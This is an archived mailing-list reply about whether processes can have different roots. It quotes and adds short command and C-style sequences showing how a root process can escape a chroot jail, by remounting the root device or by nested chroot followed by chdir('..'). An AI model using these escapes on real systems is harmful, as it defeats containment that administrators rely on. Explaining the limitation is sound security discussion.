Re: Different roots for each process possible?
Stefan Karrmann wrote:
> On Unix root can break out of the chrooted environment by the following:
>
> # mknod hda1 b 3 1; # assume hda1 is your root filesystem
> # mkdir mnt
> # mount -n hda1 mnt
> # chroot mnt
> # echo "I'm now in the original root directory!"
This is assuming you are allowed to mount the same filesystem multiple
times. (linux-2.2.x and older does not allow that).
On most systems, I believe the easiest way of breaking a chroot jail as
root is:
mkdir("whatever");
/* lower the roof of the jail */
chroot("whatever");
/* we are now above the roof, and can fly away */
chdir("../../../..");
Oystein
--
This message was generated by a horde of attack elephants armed with PRNGs.
Reply to: